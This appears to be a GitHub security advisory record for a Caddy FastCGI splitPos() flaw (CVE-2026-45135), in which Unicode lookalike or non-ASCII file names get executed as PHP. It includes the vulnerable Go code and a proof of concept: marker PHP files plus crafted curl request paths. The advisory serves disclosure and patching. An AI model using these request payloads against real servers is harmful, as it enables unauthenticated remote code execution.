GHSA-M675-2P33-XV9G

Vulnerability from github – Published: 2026-05-18 13:40 – Updated: 2026-07-20 13:42
VLAI
Summary
Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files
Details

Summary

The FastCGI transport's splitPos() in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy's FastCGI splitting into treating a non-.php (or other configured split_path extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This function was adapted from FrankenPHP's code (see the source comment) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as GHSA-3g8v-8r37-cgjm (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.

Details

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func (t Transport) splitPos(path string) int {
    if len(t.SplitPath) == 0 {
        return 0
    }
    pathLen := len(path)
    for _, split := range t.SplitPath {
        splitLen := len(split)
        for i := range pathLen {
            if path[i] >= utf8.RuneSelf {
                if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
                    return end
                }
                break
            }
            if i+splitLen > pathLen {
                continue
            }
            match := true
            for j := range splitLen {
                c := path[i+j]
                if c >= utf8.RuneSelf {
                    if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
                        return end
                    }
                    break // <-- flaw 1: 'match' is still true
                }
                if 'A' <= c && c <= 'Z' {
                    c += 'a' - 'A'
                }
                if c != split[j] {
                    match = false
                    break
                }
            }
            if match {
                return i + splitLen
            }
        }
    }
    return -1
}

Flaw 1 — Control-flow: stale match after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case SplitPath entry against an arbitrary path. Provision() already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.

PoC

Run against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by split_path). Caddyfile:

:8080 {
    root * /app/public
    php_fastcgi unix//run/php/php-fpm.sock
}

Place attacker-controlled files in /app/public:

  • /app/public/poc-match-unset.\xc2\xa1. — <?php echo "marker=flaw1\n";
  • /app/public/poc-search-norm.𝗽𝗵𝗽 — <?php echo "marker=flaw2\n";

Trigger:

# baseline (correctly NOT routed to PHP)
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm/trigger"

# flaw 1 — the .¡.txt file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger"

# flaw 2 — the .𝗽𝗵𝗽 file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"

Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.

A standalone reproducer of splitPos() in isolation (no Caddy build needed) is included in GHSA-3g8v-8r37-cgjm; the function in this module is the same logic, so the same payloads apply.

Impact

Comparable to the previous FastCGI split_path issue (GHSA-g966-83w7-6w38 / CVE-2026-24895) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors — the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).

Patch

Drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. SplitPath entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See fix/fastcgi-splitpos-unicode-bypass (commit 4ddad83c) for the implementation and regression tests.

Credit

Both flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending splitPos() function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-178",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:40:58Z",
    "nvd_published_at": "2026-06-23T18:17:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe FastCGI transport\u0027s `splitPos()` in [`modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go`](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy\u0027s FastCGI splitting into treating a non-`.php` (or other configured `split_path` extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.\n\nThis function was adapted from FrankenPHP\u0027s code (see [the source comment](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go#L429)) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm) (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.\n\n### Details\n\n```go\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\nfunc (t Transport) splitPos(path string) int {\n\tif len(t.SplitPath) == 0 {\n\t\treturn 0\n\t}\n\tpathLen := len(path)\n\tfor _, split := range t.SplitPath {\n\t\tsplitLen := len(split)\n\t\tfor i := range pathLen {\n\t\t\tif path[i] \u003e= utf8.RuneSelf {\n\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\treturn end\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i+splitLen \u003e pathLen {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatch := true\n\t\t\tfor j := range splitLen {\n\t\t\t\tc := path[i+j]\n\t\t\t\tif c \u003e= utf8.RuneSelf {\n\t\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\t\treturn end\n\t\t\t\t\t}\n\t\t\t\t\tbreak // \u003c-- flaw 1: \u0027match\u0027 is still true\n\t\t\t\t}\n\t\t\t\tif \u0027A\u0027 \u003c= c \u0026\u0026 c \u003c= \u0027Z\u0027 {\n\t\t\t\t\tc += \u0027a\u0027 - \u0027A\u0027\n\t\t\t\t}\n\t\t\t\tif c != split[j] {\n\t\t\t\t\tmatch = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif match {\n\t\t\t\treturn i + splitLen\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}\n```\n\n#### Flaw 1 \u2014 Control-flow: stale `match` after inner non-ASCII fallback\n\nIn the inner `for j` loop, when a byte satisfies `c \u003e= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.\u003cU+00A1\u003e.txt` gets routed as PHP.\n\n#### Flaw 2 \u2014 Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII\n\n`search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `\ufe52php`, `\uff0ephp`, `.\uff50hp`, `.\u24df\u24d7\u24df`, `.\ud835\uddfd\ud835\uddf5\ud835\uddfd`, `.\ud835\udcc5\ud835\udcbd\ud835\udcc5`, `.\ud835\udd95\ud835\udd8d\ud835\udd95`, etc. is reported as `.php`.\n\nBoth flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case `SplitPath` entry against an arbitrary path. `Provision()` already guarantees every entry is ASCII and lower-cased, so any byte `\u003e= utf8.RuneSelf` in the path can never be part of a legitimate match \u2014 but the fallback ignored that guarantee.\n\n### PoC\n\nRun against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by `split_path`). Caddyfile:\n\n```text\n:8080 {\n    root * /app/public\n    php_fastcgi unix//run/php/php-fpm.sock\n}\n```\n\nPlace attacker-controlled files in `/app/public`:\n\n- `/app/public/poc-match-unset.\\xc2\\xa1.` \u2014 `\u003c?php echo \"marker=flaw1\\n\";`\n- `/app/public/poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd` \u2014 `\u003c?php echo \"marker=flaw2\\n\";`\n\nTrigger:\n\n```bash\n# baseline (correctly NOT routed to PHP)\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-match-unset.txt/trigger\"\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-search-norm/trigger\"\n\n# flaw 1 \u2014 the .\u00a1.txt file ends up as SCRIPT_FILENAME\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger\"\n\n# flaw 2 \u2014 the .\ud835\uddfd\ud835\uddf5\ud835\uddfd file ends up as SCRIPT_FILENAME\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger\"\n```\n\nBoth crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files.\n\nA standalone reproducer of `splitPos()` in isolation (no Caddy build needed) is included in [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm); the function in this module is the same logic, so the same payloads apply.\n\n### Impact\n\nComparable to the previous FastCGI `split_path` issue ([GHSA-g966-83w7-6w38 / CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38)) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds \u2014 common in upload endpoints, user-content stores, package mirrors \u2014 the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 High (8.1).\n\n### Patch\n\nDrop the `golang.org/x/text/search` fallback entirely and treat any byte `\u003e= utf8.RuneSelf` in the path as a non-match. `SplitPath` entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See `fix/fastcgi-splitpos-unicode-bypass` (commit `4ddad83c`) for the implementation and regression tests.\n\n### Credit\n\nBoth flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending `splitPos()` function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.",
  "id": "GHSA-m675-2p33-xv9g",
  "modified": "2026-07-20T13:42:54Z",
  "published": "2026-05-18T13:40:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-m675-2p33-xv9g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45135"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…